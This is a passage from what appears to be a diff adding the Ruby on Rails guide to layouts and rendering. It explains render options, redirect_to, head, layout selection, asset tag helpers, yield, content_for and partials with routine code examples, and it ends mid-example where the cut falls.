+```ruby
+resources :books
+```
+
+And you have a view file `app/views/books/index.html.erb`:
+
+```html+erb
+<h1>Books are coming soon!</h1>
+```
+
+Rails will automatically render `app/views/books/index.html.erb` when you navigate to `/books` and you will see "Books are coming soon!" on your screen.
+
+However a coming soon screen is only minimally useful, so you will soon create your `Book` model and add the index action to `BooksController`:
+
+```ruby
+class BooksController < ApplicationController
+ def index
+ @books = Book.all
+ end
+end
+```
+
+Note that we don't have explicit render at the end of the index action in accordance with "convention over configuration" principle. The rule is that if you do not explicitly render something at the end of a controller action, Rails will automatically look for the `action_name.html.erb` template in the controller's view path and render it. So in this case, Rails will render the `app/views/books/index.html.erb` file.
+
+If we want to display the properties of all the books in our view, we can do so with an ERB template like this:
+
+```html+erb
+<h1>Listing Books</h1>
+
+<table>
+ <tr>
+ <th>Title</th>
+ <th>Summary</th>
+ <th></th>
+ <th></th>
+ <th></th>
+ </tr>
+
+<% @books.each do |book| %>
+ <tr>
+ <td><%= book.title %></td>
+ <td><%= book.content %></td>
+ <td><%= link_to "Show", book %></td>
+ <td><%= link_to "Edit", edit_book_path(book) %></td>
+ <td><%= link_to "Remove", book, method: :delete, data: { confirm: "Are you sure?" } %></td>
+ </tr>
+<% end %>
+</table>
+
+<br />
+
+<%= link_to "New book", new_book_path %>
+```
+
+NOTE: The actual rendering is done by subclasses of `ActionView::TemplateHandlers`. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are `.erb` for ERB (HTML with embedded Ruby), and `.builder` for Builder (XML generator).
+
+### Using `render`
+
+In most cases, the `ActionController::Base#render` method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of `render`. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.
+
+TIP: If you want to see the exact results of a call to `render` without needing to inspect it in a browser, you can call `render_to_string`. This method takes exactly the same options as `render`, but it returns a string instead of sending a response back to the browser.
+
+#### Rendering Nothing
+
+Perhaps the simplest thing you can do with `render` is to render nothing at all:
+
+```ruby
+render nothing: true
+```
+
+If you look at the response for this using cURL, you will see the following:
+
+```bash
+$ curl -i 127.0.0.1:3000/books
+HTTP/1.1 200 OK
+Connection: close
+Date: Sun, 24 Jan 2010 09:25:18 GMT
+Transfer-Encoding: chunked
+Content-Type: */*; charset=utf-8
+X-Runtime: 0.014297
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+
+
+ $
+```
+
+We see there is an empty response (no data after the `Cache-Control` line), but the request was successful because Rails has set the response to 200 OK. You can set the `:status` option on render to change this response. Rendering nothing can be useful for Ajax requests where all you want to send back to the browser is an acknowledgment that the request was completed.
+
+TIP: You should probably be using the `head` method, discussed later in this guide, instead of `render :nothing`. This provides additional flexibility and makes it explicit that you're only generating HTTP headers.
+
+#### Rendering an Action's View
+
+If you want to render the view that corresponds to a different template within the same controller, you can use `render` with the name of the view:
+
+```ruby
+def update
+ @book = Book.find(params[:id])
+ if @book.update(params[:book])
+ redirect_to(@book)
+ else
+ render "edit"
+ end
+end
+```
+
+If the call to `update` fails, calling the `update` action in this controller will render the `edit.html.erb` template belonging to the same controller.
+
+If you prefer, you can use a symbol instead of a string to specify the action to render:
+
+```ruby
+def update
+ @book = Book.find(params[:id])
+ if @book.update(params[:book])
+ redirect_to(@book)
+ else
+ render :edit
+ end
+end
+```
+
+#### Rendering an Action's Template from Another Controller
+
+What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with `render`, which accepts the full path (relative to `app/views`) of the template to render. For example, if you're running code in an `AdminProductsController` that lives in `app/controllers/admin`, you can render the results of an action to a template in `app/views/products` this way:
+
+```ruby
+render "products/show"
+```
+
+Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the `:template` option (which was required on Rails 2.2 and earlier):
+
+```ruby
+render template: "products/show"
+```
+
+#### Rendering an Arbitrary File
+
+The `render` method can also use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications):
+
+```ruby
+render "/u/apps/warehouse_app/current/app/views/products/show"
+```
+
+Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the `:file` option (which was required on Rails 2.2 and earlier):
+
+```ruby
+render file: "/u/apps/warehouse_app/current/app/views/products/show"
+```
+
+The `:file` option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.
+
+NOTE: By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the `layout: true` option.
+
+TIP: If you're running Rails on Microsoft Windows, you should use the `:file` option to render a file, because Windows filenames do not have the same format as Unix filenames.
+
+#### Wrapping it up
+
+The above three ways of rendering (rendering another template within the controller, rendering a template within another controller and rendering an arbitrary file on the file system) are actually variants of the same action.
+
+In fact, in the BooksController class, inside of the update action where we want to render the edit template if the book does not update successfully, all of the following render calls would all render the `edit.html.erb` template in the `views/books` directory:
+
+```ruby
+render :edit
+render action: :edit
+render "edit"
+render "edit.html.erb"
+render action: "edit"
+render action: "edit.html.erb"
+render "books/edit"
+render "books/edit.html.erb"
+render template: "books/edit"
+render template: "books/edit.html.erb"
+render "/path/to/rails/app/views/books/edit"
+render "/path/to/rails/app/views/books/edit.html.erb"
+render file: "/path/to/rails/app/views/books/edit"
+render file: "/path/to/rails/app/views/books/edit.html.erb"
+```
+
+Which one you use is really a matter of style and convention, but the rule of thumb is to use the simplest one that makes sense for the code you are writing.
+
+#### Using `render` with `:inline`
+
+The `render` method can do without a view completely, if you're willing to use the `:inline` option to supply ERB as part of the method call. This is perfectly valid:
+
+```ruby
+render inline: "<% products.each do |p| %><p><%= p.name %></p><% end %>"
+```
+
+WARNING: There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.
+
+By default, inline rendering uses ERB. You can force it to use Builder instead with the `:type` option:
+
+```ruby
+render inline: "xml.p {'Horrid coding practice!'}", type: :builder
+```
+
+#### Rendering Text
+
+You can send plain text - with no markup at all - back to the browser by using the `:text` option to `render`:
+
+```ruby
+render text: "OK"
+```
+
+TIP: Rendering pure text is most useful when you're responding to Ajax or web service requests that are expecting something other than proper HTML.
+
+NOTE: By default, if you use the `:text` option, the text is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the `layout: true` option.
+
+#### Rendering JSON
+
+JSON is a JavaScript data format used by many Ajax libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:
+
+```ruby
+render json: @product
+```
+
+TIP: You don't need to call `to_json` on the object that you want to render. If you use the `:json` option, `render` will automatically call `to_json` for you.
+
+#### Rendering XML
+
+Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:
+
+```ruby
+render xml: @product
+```
+
+TIP: You don't need to call `to_xml` on the object that you want to render. If you use the `:xml` option, `render` will automatically call `to_xml` for you.
+
+#### Rendering Vanilla JavaScript
+
+Rails can render vanilla JavaScript:
+
+```ruby
+render js: "alert('Hello Rails');"
+```
+
+This will send the supplied string to the browser with a MIME type of `text/javascript`.
+
+#### Options for `render`
+
+Calls to the `render` method generally accept four options:
+
+* `:content_type`
+* `:layout`
+* `:status`
+* `:location`
+
+##### The `:content_type` Option
+
+By default, Rails will serve the results of a rendering operation with the MIME content-type of `text/html` (or `application/json` if you use the `:json` option, or `application/xml` for the `:xml` option.). There are times when you might like to change this, and you can do so by setting the `:content_type` option:
+
+```ruby
+render file: filename, content_type: "application/rss"
+```
+
+##### The `:layout` Option
+
+With most of the options to `render`, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.
+
+You can use the `:layout` option to tell Rails to use a specific file as the layout for the current action:
+
+```ruby
+render layout: "special_layout"
+```
+
+You can also tell Rails to render with no layout at all:
+
+```ruby
+render layout: false
+```
+
+##### The `:status` Option
+
+Rails will automatically generate a response with the correct HTTP status code (in most cases, this is `200 OK`). You can use the `:status` option to change this:
+
+```ruby
+render status: 500
+render status: :forbidden
+```
+
+Rails understands both numeric status codes and the corresponding symbols shown below:
+
+| HTTP Status Code | Symbol |
+| ---------------- | -------------------------------- |
+| 100 | :continue |
+| 101 | :switching_protocols |
+| 102 | :processing |
+| 200 | :ok |
+| 201 | :created |
+| 202 | :accepted |
+| 203 | :non_authoritative_information |
+| 204 | :no_content |
+| 205 | :reset_content |
+| 206 | :partial_content |
+| 207 | :multi_status |
+| 226 | :im_used |
+| 300 | :multiple_choices |
+| 301 | :moved_permanently |
+| 302 | :found |
+| 303 | :see_other |
+| 304 | :not_modified |
+| 305 | :use_proxy |
+| 306 | :reserved |
+| 307 | :temporary_redirect |
+| 400 | :bad_request |
+| 401 | :unauthorized |
+| 402 | :payment_required |
+| 403 | :forbidden |
+| 404 | :not_found |
+| 405 | :method_not_allowed |
+| 406 | :not_acceptable |
+| 407 | :proxy_authentication_required |
+| 408 | :request_timeout |
+| 409 | :conflict |
+| 410 | :gone |
+| 411 | :length_required |
+| 412 | :precondition_failed |
+| 413 | :request_entity_too_large |
+| 414 | :request_uri_too_long |
+| 415 | :unsupported_media_type |
+| 416 | :requested_range_not_satisfiable |
+| 417 | :expectation_failed |
+| 418 | :i'm_a_teapot |
+| 422 | :unprocessable_entity |
+| 423 | :locked |
+| 424 | :failed_dependency |
+| 426 | :upgrade_required |
+| 500 | :internal_server_error |
+| 501 | :not_implemented |
+| 502 | :bad_gateway |
+| 503 | :service_unavailable |
+| 504 | :gateway_timeout |
+| 505 | :http_version_not_supported |
+| 506 | :variant_also_negotiates |
+| 507 | :insufficient_storage |
+| 510 | :not_extended |
+
+##### The `:location` Option
+
+You can use the `:location` option to set the HTTP `Location` header:
+
+```ruby
+render xml: photo, location: photo_url(photo)
+```
+
+#### Finding Layouts
+
+To find the current layout, Rails first looks for a file in `app/views/layouts` with the same base name as the controller. For example, rendering actions from the `PhotosController` class will use `app/views/layouts/photos.html.erb` (or `app/views/layouts/photos.builder`). If there is no such controller-specific layout, Rails will use `app/views/layouts/application.html.erb` or `app/views/layouts/application.builder`. If there is no `.erb` layout, Rails will use a `.builder` layout if on [...]
+
+##### Specifying Layouts for Controllers
+
+You can override the default layout conventions in your controllers by using the `layout` declaration. For example:
+
+```ruby
+class ProductsController < ApplicationController
+ layout "inventory"
+ #...
+end
+```
+
+With this declaration, all of the views rendered by the products controller will use `app/views/layouts/inventory.html.erb` as their layout.
+
+To assign a specific layout for the entire application, use a `layout` declaration in your `ApplicationController` class:
+
+```ruby
+class ApplicationController < ActionController::Base
+ layout "main"
+ #...
+end
+```
+
+With this declaration, all of the views in the entire application will use `app/views/layouts/main.html.erb` for their layout.
+
+##### Choosing Layouts at Runtime
+
+You can use a symbol to defer the choice of layout until a request is processed:
+
+```ruby
+class ProductsController < ApplicationController
+ layout :products_layout
+
+ def show
+ @product = Product.find(params[:id])
+ end
+
+ private
+ def products_layout
+ @current_user.special? ? "special" : "products"
+ end
+
+end
+```
+
+Now, if the current user is a special user, they'll get a special layout when viewing a product.
+
+You can even use an inline method, such as a Proc, to determine the layout. For example, if you pass a Proc object, the block you give the Proc will be given the `controller` instance, so the layout can be determined based on the current request:
+
+```ruby
+class ProductsController < ApplicationController
+ layout Proc.new { |controller| controller.request.xhr? ? "popup" : "application" }
+end
+```
+
+##### Conditional Layouts
+
+Layouts specified at the controller level support the `:only` and `:except` options. These options take either a method name, or an array of method names, corresponding to method names within the controller:
+
+```ruby
+class ProductsController < ApplicationController
+ layout "product", except: [:index, :rss]
+end
+```
+
+With this declaration, the `product` layout would be used for everything but the `rss` and `index` methods.
+
+##### Layout Inheritance
+
+Layout declarations cascade downward in the hierarchy, and more specific layout declarations always override more general ones. For example:
+
+* `application_controller.rb`
+
+ ```ruby
+ class ApplicationController < ActionController::Base
+ layout "main"
+ end
+ ```
+
+* `posts_controller.rb`
+
+ ```ruby
+ class PostsController < ApplicationController
+ end
+ ```
+
+* `special_posts_controller.rb`
+
+ ```ruby
+ class SpecialPostsController < PostsController
+ layout "special"
+ end
+ ```
+
+* `old_posts_controller.rb`
+
+ ```ruby
+ class OldPostsController < SpecialPostsController
+ layout false
+
+ def show
+ @post = Post.find(params[:id])
+ end
+
+ def index
+ @old_posts = Post.older
+ render layout: "old"
+ end
+ # ...
+ end
+ ```
+
+In this application:
+
+* In general, views will be rendered in the `main` layout
+* `PostsController#index` will use the `main` layout
+* `SpecialPostsController#index` will use the `special` layout
+* `OldPostsController#show` will use no layout at all
+* `OldPostsController#index` will use the `old` layout
+
+#### Avoiding Double Render Errors
+
+Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that `render` works.
+
+For example, here's some code that will trigger this error:
+
+```ruby
+def show
+ @book = Book.find(params[:id])
+ if @book.special?
+ render action: "special_show"
+ end
+ render action: "regular_show"
+end
+```
+
+If `@book.special?` evaluates to `true`, Rails will start the rendering process to dump the `@book` variable into the `special_show` view. But this will _not_ stop the rest of the code in the `show` action from running, and when Rails hits the end of the action, it will start to render the `regular_show` view - and throw an error. The solution is simple: make sure that you have only one call to `render` or `redirect` in a single code path. One thing that can help is `and return`. Here's [...]
+
+```ruby
+def show
+ @book = Book.find(params[:id])
+ if @book.special?
+ render action: "special_show" and return
+ end
+ render action: "regular_show"
+end
+```
+
+Make sure to use `and return` instead of `&& return` because `&& return` will not work due to the operator precedence in the Ruby Language.
+
+Note that the implicit render done by ActionController detects if `render` has been called, so the following will work without errors:
+
+```ruby
+def show
+ @book = Book.find(params[:id])
+ if @book.special?
+ render action: "special_show"
+ end
+end
+```
+
+This will render a book with `special?` set with the `special_show` template, while other books will render with the default `show` template.
+
+### Using `redirect_to`
+
+Another way to handle returning responses to an HTTP request is with `redirect_to`. As you've seen, `render` tells Rails which view (or other asset) to use in constructing a response. The `redirect_to` method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:
+
+```ruby
+redirect_to photos_url
+```
+
+You can use `redirect_to` with any arguments that you could use with `link_to` or `url_for`. There's also a special redirect that sends the user back to the page they just came from:
+
+```ruby
+redirect_to :back
+```
+
+#### Getting a Different Redirect Status Code
+
+Rails uses HTTP status code 302, a temporary redirect, when you call `redirect_to`. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the `:status` option:
+
+```ruby
+redirect_to photos_path, status: 301
+```
+
+Just like the `:status` option for `render`, `:status` for `redirect_to` accepts both numeric and symbolic header designations.
+
+#### The Difference Between `render` and `redirect_to`
+
+Sometimes inexperienced developers think of `redirect_to` as a sort of `goto` command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code.
+
+Consider these actions to see the difference:
+
+```ruby
+def index
+ @books = Book.all
+end
+
+def show
+ @book = Book.find_by_id(params[:id])
+ if @book.nil?
+ render action: "index"
+ end
+end
+```
+
+With the code in this form, there will likely be a problem if the `@book` variable is `nil`. Remember, a `render :action` doesn't run any code in the target action, so nothing will set up the `@books` variable that the `index` view will probably require. One way to fix this is to redirect instead of rendering:
+
+```ruby
+def index
+ @books = Book.all
+end
+
+def show
+ @book = Book.find_by_id(params[:id])
+ if @book.nil?
+ redirect_to action: :index
+ end
+end
+```
+
+With this code, the browser will make a fresh request for the index page, the code in the `index` method will run, and all will be well.
+
+The only downside to this code is that it requires a round trip to the browser: the browser requested the show action with `/books/1` and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to `/books/`, the browser complies and sends a new request back to the controller asking now for the `index` action, the controller then gets all the books in the database and renders the index template, sending it back down [...]
+
+While in a small application, this added latency might not be a problem, it is something to think about if response time is a concern. We can demonstrate one way to handle this with a contrived example:
+
+```ruby
+def index
+ @books = Book.all
+end
+
+def show
+ @book = Book.find_by_id(params[:id])
+ if @book.nil?
+ @books = Book.all
+ flash[:alert] = "Your book was not found"
+ render "index"
+ end
+end
+```
+
+This would detect that there are no books with the specified ID, populate the `@books` instance variable with all the books in the model, and then directly render the `index.html.erb` template, returning it to the browser with a flash alert message to tell the user what happened.
+
+### Using `head` To Build Header-Only Responses
+
+The `head` method can be used to send responses with only headers to the browser. It provides a more obvious alternative to calling `render :nothing`. The `head` method takes one parameter, which is interpreted as a hash of header names and values. For example, you can return only an error header:
+
+```ruby
+head :bad_request
+```
+
+This would produce the following header:
+
+```
+HTTP/1.1 400 Bad Request
+Connection: close
+Date: Sun, 24 Jan 2010 12:15:53 GMT
+Transfer-Encoding: chunked
+Content-Type: text/html; charset=utf-8
+X-Runtime: 0.013483
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+```
+
+Or you can use other HTTP headers to convey other information:
+
+```ruby
+head :created, location: photo_path(@photo)
+```
+
+Which would produce:
+
+```
+HTTP/1.1 201 Created
+Connection: close
+Date: Sun, 24 Jan 2010 12:16:44 GMT
+Transfer-Encoding: chunked
+Location: /photos/1
+Content-Type: text/html; charset=utf-8
+X-Runtime: 0.083496
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+```
+
+Structuring Layouts
+-------------------
+
+When Rails renders a view as a response, it does so by combining the view with the current layout, using the rules for finding the current layout that were covered earlier in this guide. Within a layout, you have access to three tools for combining different bits of output to form the overall response:
+
+* Asset tags
+* `yield` and `content_for`
+* Partials
+
+### Asset Tag Helpers
+
+Asset tag helpers provide methods for generating HTML that link views to feeds, JavaScript, stylesheets, images, videos and audios. There are six asset tag helpers available in Rails:
+
+* `auto_discovery_link_tag`
+* `javascript_include_tag`
+* `stylesheet_link_tag`
+* `image_tag`
+* `video_tag`
+* `audio_tag`
+
+You can use these tags in layouts or other views, although the `auto_discovery_link_tag`, `javascript_include_tag`, and `stylesheet_link_tag`, are most commonly used in the `<head>` section of a layout.
+
+WARNING: The asset tag helpers do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.
+
+#### Linking to Feeds with the `auto_discovery_link_tag`
+
+The `auto_discovery_link_tag` helper builds HTML that most browsers and newsreaders can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag:
+
+```erb
+<%= auto_discovery_link_tag(:rss, {action: "feed"},
+ {title: "RSS Feed"}) %>
+```
+
+There are three tag options available for the `auto_discovery_link_tag`:
+
+* `:rel` specifies the `rel` value in the link. The default value is "alternate".
+* `:type` specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically.
+* `:title` specifies the title of the link. The default value is the uppercased `:type` value, for example, "ATOM" or "RSS".
+
+#### Linking to JavaScript Files with the `javascript_include_tag`
+
+The `javascript_include_tag` helper returns an HTML `script` tag for each source provided.
+
+If you are using Rails with the [Asset Pipeline](asset_pipeline.html) enabled, this helper will generate a link to `/assets/javascripts/` rather than `public/javascripts` which was used in earlier versions of Rails. This link is then served by the asset pipeline.
+
+A JavaScript file within a Rails application or Rails engine goes in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`. These locations are explained in detail in the [Asset Organization section in the Asset Pipeline Guide](asset_pipeline.html#asset-organization)
+
+You can specify a full path relative to the document root, or a URL, if you prefer. For example, to link to a JavaScript file that is inside a directory called `javascripts` inside of one of `app/assets`, `lib/assets` or `vendor/assets`, you would do this:
+
+```erb
+<%= javascript_include_tag "main" %>
+```
+
+Rails will then output a `script` tag such as this:
+
+```html
+<script src='/assets/main.js'></script>
+```
+
+The request to this asset is then served by the Sprockets gem.
+
+To include multiple files such as `app/assets/javascripts/main.js` and `app/assets/javascripts/columns.js` at the same time:
+
+```erb
+<%= javascript_include_tag "main", "columns" %>
+```
+
+To include `app/assets/javascripts/main.js` and `app/assets/javascripts/photos/columns.js`:
+
+```erb
+<%= javascript_include_tag "main", "/photos/columns" %>
+```
+
+To include `http://example.com/main.js`:
+
+```erb
+<%= javascript_include_tag "http://example.com/main.js" %>
+```
+
+#### Linking to CSS Files with the `stylesheet_link_tag`
+
+The `stylesheet_link_tag` helper returns an HTML `<link>` tag for each source provided.
+
+If you are using Rails with the "Asset Pipeline" enabled, this helper will generate a link to `/assets/stylesheets/`. This link is then processed by the Sprockets gem. A stylesheet file can be stored in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`.
+
+You can specify a full path relative to the document root, or a URL. For example, to link to a stylesheet file that is inside a directory called `stylesheets` inside of one of `app/assets`, `lib/assets` or `vendor/assets`, you would do this:
+
+```erb
+<%= stylesheet_link_tag "main" %>
+```
+
+To include `app/assets/stylesheets/main.css` and `app/assets/stylesheets/columns.css`:
+
+```erb
+<%= stylesheet_link_tag "main", "columns" %>
+```
+
+To include `app/assets/stylesheets/main.css` and `app/assets/stylesheets/photos/columns.css`:
+
+```erb
+<%= stylesheet_link_tag "main", "photos/columns" %>
+```
+
+To include `http://example.com/main.css`:
+
+```erb
+<%= stylesheet_link_tag "http://example.com/main.css" %>
+```
+
+By default, the `stylesheet_link_tag` creates links with `media="screen" rel="stylesheet"`. You can override any of these defaults by specifying an appropriate option (`:media`, `:rel`):
+
+```erb
+<%= stylesheet_link_tag "main_print", media: "print" %>
+```
+
+#### Linking to Images with the `image_tag`
+
+The `image_tag` helper builds an HTML `<img />` tag to the specified file. By default, files are loaded from `public/images`.
+
+WARNING: Note that you must specify the extension of the image.
+
+```erb
+<%= image_tag "header.png" %>
+```
+
+You can supply a path to the image if you like:
+
+```erb
+<%= image_tag "icons/delete.gif" %>
+```
+
+You can supply a hash of additional HTML options:
+
+```erb
+<%= image_tag "icons/delete.gif", {height: 45} %>
+```
+
+You can supply alternate text for the image which will be used if the user has images turned off in their browser. If you do not specify an alt text explicitly, it defaults to the file name of the file, capitalized and with no extension. For example, these two image tags would return the same code:
+
+```erb
+<%= image_tag "home.gif" %>
+<%= image_tag "home.gif", alt: "Home" %>
+```
+
+You can also specify a special size tag, in the format "{width}x{height}":
+
+```erb
+<%= image_tag "home.gif", size: "50x20" %>
+```
+
+In addition to the above special tags, you can supply a final hash of standard HTML options, such as `:class`, `:id` or `:name`:
+
+```erb
+<%= image_tag "home.gif", alt: "Go Home",
+ id: "HomeImage",
+ class: "nav_bar" %>
+```
+
+#### Linking to Videos with the `video_tag`
+
+The `video_tag` helper builds an HTML 5 `<video>` tag to the specified file. By default, files are loaded from `public/videos`.
+
+```erb
+<%= video_tag "movie.ogg" %>
+```
+
+Produces
+
+```erb
+<video src="/videos/movie.ogg" />
+```
+
+Like an `image_tag` you can supply a path, either absolute, or relative to the `public/videos` directory. Additionally you can specify the `size: "#{width}x#{height}"` option just like an `image_tag`. Video tags can also have any of the HTML options specified at the end (`id`, `class` et al).
+
+The video tag also supports all of the `<video>` HTML options through the HTML options hash, including:
+
+* `poster: "image_name.png"`, provides an image to put in place of the video before it starts playing.
+* `autoplay: true`, starts playing the video on page load.
+* `loop: true`, loops the video once it gets to the end.
+* `controls: true`, provides browser supplied controls for the user to interact with the video.
+* `autobuffer: true`, the video will pre load the file for the user on page load.
+
+You can also specify multiple videos to play by passing an array of videos to the `video_tag`:
+
+```erb
+<%= video_tag ["trailer.ogg", "movie.ogg"] %>
+```
+
+This will produce:
+
+```erb
+<video><source src="trailer.ogg" /><source src="movie.ogg" /></video>
+```
+
+#### Linking to Audio Files with the `audio_tag`
+
+The `audio_tag` helper builds an HTML 5 `<audio>` tag to the specified file. By default, files are loaded from `public/audios`.
+
+```erb
+<%= audio_tag "music.mp3" %>
+```
+
+You can supply a path to the audio file if you like:
+
+```erb
+<%= audio_tag "music/first_song.mp3" %>
+```
+
+You can also supply a hash of additional options, such as `:id`, `:class` etc.
+
+Like the `video_tag`, the `audio_tag` has special options:
+
+* `autoplay: true`, starts playing the audio on page load
+* `controls: true`, provides browser supplied controls for the user to interact with the audio.
+* `autobuffer: true`, the audio will pre load the file for the user on page load.
+
+### Understanding `yield`
+
+Within the context of a layout, `yield` identifies a section where content from the view should be inserted. The simplest way to use this is to have a single `yield`, into which the entire contents of the view currently being rendered is inserted:
+
+```html+erb
+<html>
+ <head>
+ </head>
+ <body>
+ <%= yield %>
+ </body>
+</html>
+```
+
+You can also create a layout with multiple yielding regions:
+
+```html+erb
+<html>
+ <head>
+ <%= yield :head %>
+ </head>
+ <body>
+ <%= yield %>
+ </body>
+</html>
+```
+
+The main body of the view will always render into the unnamed `yield`. To render content into a named `yield`, you use the `content_for` method.
+
+### Using the `content_for` Method
+
+The `content_for` method allows you to insert content into a named `yield` block in your layout. For example, this view would work with the layout that you just saw:
+
+```html+erb
+<% content_for :head do %>
+ <title>A simple page</title>
+<% end %>
+
+<p>Hello, Rails!</p>
+```
+
+The result of rendering this page into the supplied layout would be this HTML:
+
+```html+erb
+<html>
+ <head>
+ <title>A simple page</title>
+ </head>
+ <body>
+ <p>Hello, Rails!</p>
+ </body>
+</html>
+```
+
+The `content_for` method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific JavaScript or css files into the header of an otherwise generic layout.
+
+### Using Partials
+
+Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.
+
+#### Naming Partials
+
+To render a partial as part of a view, you use the `render` method within the view:
+
+```ruby
+<%= render "menu" %>
+```
+
+This will render a file named `_menu.html.erb` at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
+
+```ruby
+<%= render "shared/menu" %>
+```
+
+That code will pull in the partial from `app/views/shared/_menu.html.erb`.
+
+#### Using Partials to Simplify Views
+
+One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
+
+```erb
+<%= render "shared/ad_banner" %>
+
+<h1>Products</h1>
+
+<p>Here are a few of our fine products:</p>
+...
+
+<%= render "shared/footer" %>
+```
+
+Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
+
+TIP: For content that is shared among all pages in your application, you can use partials directly from layouts.
+
+#### Partial Layouts
+
+A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:
+
+```erb
+<%= render partial: "link_area", layout: "graybar" %>
+```
+
+This would look for a partial named `_link_area.html.erb` and render it using the layout `_graybar.html.erb`. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master `layouts` folder).
+
+Also note that explicitly specifying `:partial` is required when passing additional options such as `:layout`.
+
+#### Passing Local Variables
+
+You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:
+
+* `new.html.erb`
+
+ ```html+erb
+ <h1>New zone</h1>
+ <%= error_messages_for :zone %>
+ <%= render partial: "form", locals: {zone: @zone} %>
+ ```
+
+* `edit.html.erb`
+
+ ```html+erb
+ <h1>Editing zone</h1>
+ <%= error_messages_for :zone %>
+ <%= render partial: "form", locals: {zone: @zone} %>
+ ```
+
+* `_form.html.erb`
+
+ ```html+erb
+ <%= form_for(zone) do |f| %>
+ <p>
+ <b>Zone name</b><br />
+ <%= f.text_field :name %>
+ </p>
+ <p>
+ <%= f.submit %>
+ </p>
+ <% end %>
+ ```
+
+Although the same partial will be rendered into both views, Action View's submit helper will return "Create Zone" for the new action and "Update Zone" for the edit action.
+
+Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the `:object` option:
+
+```erb
+<%= render partial: "customer", object: @new_customer %>
+```
+
+Within the `customer` partial, the `customer` variable will refer to `@new_customer` from the parent view.
+
+If you have an instance of a model to render into a partial, you can use a shorthand syntax:
+
+```erb
+<%= render @customer %>
+```
+
+Assuming that the `@customer` instance variable contains an instance of the `Customer` model, this will use `_customer.html.erb` to render it and will pass the local variable `customer` into the partial which will refer to the `@customer` instance variable in the parent view.
+
+#### Rendering Collections
+
+Partials are very useful in rendering collections. When you pass a collection to a partial via the `:collection` option, the partial will be inserted once for each member in the collection:
+
+* `index.html.erb`
+
+ ```html+erb
+ <h1>Products</h1>
+ <%= render partial: "product", collection: @products %>
+ ```
+
+* `_product.html.erb`
+
+ ```html+erb
+ <p>Product Name: <%= product.name %></p>
+ ```
+
+When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product`, and within the `_product` partial, you can refer to `product` to get the instance that is being rendered.
+
+There is also a shorthand for this. Assuming `@products` is a collection of `product` instances, you can simply write this in the `index.html.erb` to produce the same result:
+
+```html+erb
+<h1>Products</h1>
+<%= render @products %>
+```
+
+Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:
+
+* `index.html.erb`
+
+ ```html+erb
+ <h1>Contacts</h1>
+ <%= render [customer1, employee1, customer2, employee2] %>
+ ```
+
+* `customers/_customer.html.erb`
+
+ ```html+erb
+ <p>Customer: <%= customer.name %></p>
+ ```
+
+* `employees/_employee.html.erb`
+
+ ```html+erb
+ <p>Employee: <%= employee.name %></p>
+ ```
+
+In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.
+
+In the event that the collection is empty, `render` will return nil, so it should be fairly simple to provide alternative content.
+
+```html+erb
+<h1>Products</h1>
+<%= render(@products) || "There are no products available." %>
+```
+
+#### Local Variables
+
+To use a custom local variable name within the partial, specify the `:as` option in the call to the partial:
+
+```erb
+<%= render partial: "product", collection: @products, as: :item %>
+```
+
+With this change, you can access an instance of the `@products` collection as the `item` local variable within the partial.
+
+You can also pass in arbitrary local variables to any partial you are rendering with the `locals: {}` option:
+
+```erb
+<%= render partial: "products", collection: @products,
